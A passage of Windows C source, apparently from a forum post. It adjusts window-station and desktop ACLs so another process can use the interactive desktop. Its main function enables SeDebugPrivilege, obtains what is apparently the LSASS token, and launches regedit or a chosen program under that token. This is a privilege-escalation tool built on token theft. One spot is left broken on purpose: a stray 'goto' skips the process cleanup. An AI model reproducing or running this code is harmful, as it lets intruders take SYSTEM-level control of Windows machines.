// file to execute       lpCommandLine,     // command line       NULL,              // pointer to process SECURITY_ATTRIBUTES       NULL,              // pointer to thread SECURITY_ATTRIBUTES       FALSE,             // handles are not inheritable       NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,   // creation flags       NULL,              // pointer to new environment block       NULL,              // name of current directory       &si,               // pointer to STARTUPINFO structure       &pi                // receives information about new process    ); // End impersonation of client.    RevertToSelf();    goto Cleanup;    //return bResult; <------------------------------------------------------------------------    if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)    {       WaitForSingleObject(pi.hProcess, INFINITE);       CloseHandle(pi.hProcess);    }    if (pi.hThread != INVALID_HANDLE_VALUE)       CloseHandle(pi.hThread);   Cleanup:    if (hwinstaSave != NULL)       SetProcessWindowStation (hwinstaSave); // Free the buffer for the logon SID.    if (pSid)       FreeLogonSID(&pSid); // Close the handles to the interactive window station and desktop.    if (hwinsta)       CloseWindowStation(hwinsta);    if (hdesk)       CloseDesktop(hdesk); // Close the handle to the client's access token.    if (hToken != INVALID_HANDLE_VALUE)       CloseHandle(hToken);      return bResult; } BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid) {    ACCESS_ALLOWED_ACE   *pace;    ACL_SIZE_INFORMATION aclSizeInfo;    BOOL                 bDaclExist;    BOOL                 bDaclPresent;    BOOL                 bSuccess = FALSE;    DWORD                dwNewAclSize;    DWORD                dwSidSize = 0;    DWORD                dwSdSizeNeeded;    PACL                 pacl;    PACL                 pNewAcl;    PSECURITY_DESCRIPTOR psd = NULL;    PSECURITY_DESCRIPTOR psdNew = NULL;    PVOID                pTempAce;    SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;    unsigned int         i;    __try    {       // Obtain the DACL for the window station.       if (!GetUserObjectSecurity(              hwinsta,              &si,              psd,              dwSidSize,              &dwSdSizeNeeded)       )       if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)       {          psd = (PSECURITY_DESCRIPTOR)HeapAlloc(                GetProcessHeap(),                HEAP_ZERO_MEMORY,                dwSdSizeNeeded);          if (psd == NULL)             __leave;          psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(                GetProcessHeap(),                HEAP_ZERO_MEMORY,                dwSdSizeNeeded);          if (psdNew == NULL)             __leave;          dwSidSize = dwSdSizeNeeded;          if (!GetUserObjectSecurity(                hwinsta,                &si,                psd,                dwSidSize,                &dwSdSizeNeeded)          )             __leave;       }       else          __leave;       // Create a new DACL.       if (!InitializeSecurityDescriptor(             psdNew,             SECURITY_DESCRIPTOR_REVISION)       )          __leave;       // Get the DACL from the security descriptor.       if (!GetSecurityDescriptorDacl(             psd,             &bDaclPresent,             &pacl,             &bDaclExist)       )          __leave;       // Initialize the ACL.       ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));       aclSizeInfo.AclBytesInUse = sizeof(ACL);       // Call only if the DACL is not NULL.       if (pacl != NULL)       {          // get the file ACL size info          if (!GetAclInformation(                pacl,                (LPVOID)&aclSizeInfo,                sizeof(ACL_SIZE_INFORMATION),                AclSizeInformation)          )             __leave;       }       // Compute the size of the new ACL.       dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));       // Allocate memory for the new ACL.       pNewAcl = (PACL)HeapAlloc(             GetProcessHeap(),             HEAP_ZERO_MEMORY,             dwNewAclSize);       if (pNewAcl == NULL)          __leave;       // Initialize the new DACL.       if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))          __leave;       // If DACL is present, copy it to a new DACL.       if (bDaclPresent)       {          // Copy the ACEs to the new ACL.          if (aclSizeInfo.AceCount)          {             for (i=0; i < aclSizeInfo.AceCount; i++)             {                // Get an ACE.                if (!GetAce(pacl, i, &pTempAce))                   __leave;                // Add the ACE to the new ACL.                if (!AddAce(                      pNewAcl,                      ACL_REVISION,                      MAXDWORD,                      pTempAce,                     ((PACE_HEADER)pTempAce)->AceSize)                )                   __leave;             }          }       }       // Add the first ACE to the window station.       pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(             GetProcessHeap(),             HEAP_ZERO_MEMORY,             sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -                   sizeof(DWORD));       if (pace == NULL)          __leave;       pace->Header.AceType  = ACCESS_ALLOWED_ACE_TYPE;       pace->Header.AceFlags = CONTAINER_INHERIT_ACE |                    INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;       pace->Header.AceSize  = sizeof(ACCESS_ALLOWED_ACE) +                    GetLengthSid(psid) - sizeof(DWORD);       pace->Mask            = GENERIC_ACCESS;       if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))          __leave;       if (!AddAce(             pNewAcl,             ACL_REVISION,             MAXDWORD,             (LPVOID)pace,             pace->Header.AceSize)       )          __leave;       // Add the second ACE to the window station.       pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;       pace->Mask            = WINSTA_ALL;       if (!AddAce(             pNewAcl,             ACL_REVISION,             MAXDWORD,             (LPVOID)pace,             pace->Header.AceSize)       )          __leave;       // Set a new DACL for the security descriptor.       if (!SetSecurityDescriptorDacl(             psdNew,             TRUE,             pNewAcl,             FALSE)       )          __leave;       // Set the new security descriptor for the window station.       if (!SetUserObjectSecurity(hwinsta, &si, psdNew))          __leave;       // Indicate success.       bSuccess = TRUE;    }    __finally    {       // Free the allocated buffers.       if (pace != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)pace);       if (pNewAcl != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);       if (psd != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)psd);       if (psdNew != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);    }    return bSuccess; } BOOL AddAceToDesktop(HDESK hdesk, PSID psid) {    ACL_SIZE_INFORMATION aclSizeInfo;    BOOL                 bDaclExist;    BOOL                 bDaclPresent;    BOOL                 bSuccess = FALSE;    DWORD                dwNewAclSize;    DWORD                dwSidSize = 0;    DWORD                dwSdSizeNeeded;    PACL                 pacl;    PACL                 pNewAcl;    PSECURITY_DESCRIPTOR psd = NULL;    PSECURITY_DESCRIPTOR psdNew = NULL;    PVOID                pTempAce;    SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;    unsigned int         i;    __try    {       // Obtain the security descriptor for the desktop object.       if (!GetUserObjectSecurity(             hdesk,             &si,             psd,             dwSidSize,             &dwSdSizeNeeded))       {          if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)          {             psd = (PSECURITY_DESCRIPTOR)HeapAlloc(                   GetProcessHeap(),                   HEAP_ZERO_MEMORY,                   dwSdSizeNeeded );             if (psd == NULL)                __leave;             psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(                   GetProcessHeap(),                   HEAP_ZERO_MEMORY,                   dwSdSizeNeeded);             if (psdNew == NULL)                __leave;             dwSidSize = dwSdSizeNeeded;             if (!GetUserObjectSecurity(                   hdesk,                   &si,                   psd,                   dwSidSize,                   &dwSdSizeNeeded)             )                __leave;          }          else             __leave;       }       // Create a new security descriptor.       if (!InitializeSecurityDescriptor(             psdNew,             SECURITY_DESCRIPTOR_REVISION)       )          __leave;       // Obtain the DACL from the security descriptor.       if (!GetSecurityDescriptorDacl(             psd,             &bDaclPresent,             &pacl,             &bDaclExist)       )          __leave;       // Initialize.       ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));       aclSizeInfo.AclBytesInUse = sizeof(ACL);       // Call only if NULL DACL.       if (pacl != NULL)       {          // Determine the size of the ACL information.          if (!GetAclInformation(                pacl,                (LPVOID)&aclSizeInfo,                sizeof(ACL_SIZE_INFORMATION),                AclSizeInformation)          )             __leave;       }       // Compute the size of the new ACL.       dwNewAclSize = aclSizeInfo.AclBytesInUse +             sizeof(ACCESS_ALLOWED_ACE) +             GetLengthSid(psid) - sizeof(DWORD);       // Allocate buffer for the new ACL.       pNewAcl = (PACL)HeapAlloc(             GetProcessHeap(),             HEAP_ZERO_MEMORY,             dwNewAclSize);       if (pNewAcl == NULL)          __leave;       // Initialize the new ACL.       if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))          __leave;       // If DACL is present, copy it to a new DACL.       if (bDaclPresent)       {          // Copy the ACEs to the new ACL.          if (aclSizeInfo.AceCount)          {             for (i=0; i < aclSizeInfo.AceCount; i++)             {                // Get an ACE.                if (!GetAce(pacl, i, &pTempAce))                   __leave;                // Add the ACE to the new ACL.                if (!AddAce(                   pNewAcl,                   ACL_REVISION,                   MAXDWORD,                   pTempAce,                   ((PACE_HEADER)pTempAce)->AceSize)                )                   __leave;             }          }       }       // Add ACE to the DACL.       if (!AddAccessAllowedAce(             pNewAcl,             ACL_REVISION,             DESKTOP_ALL,             psid)       )          __leave;       // Set new DACL to the new security descriptor.       if (!SetSecurityDescriptorDacl(             psdNew,             TRUE,             pNewAcl,             FALSE)       )          __leave;       // Set the new security descriptor for the desktop object.       if (!SetUserObjectSecurity(hdesk, &si, psdNew))          __leave;       // Indicate success.       bSuccess = TRUE;    }    __finally    {       // Free buffers.       if (pNewAcl != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);       if (psd != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)psd);       if (psdNew != NULL)          HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);    }    return bSuccess; } int main(int argc, char **argv) {     HANDLE hToken = NULL;     EnablePrivilege(SE_DEBUG_NAME);     hToken = GetLSAToken();     StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);     return 0; }

    最新回复(0)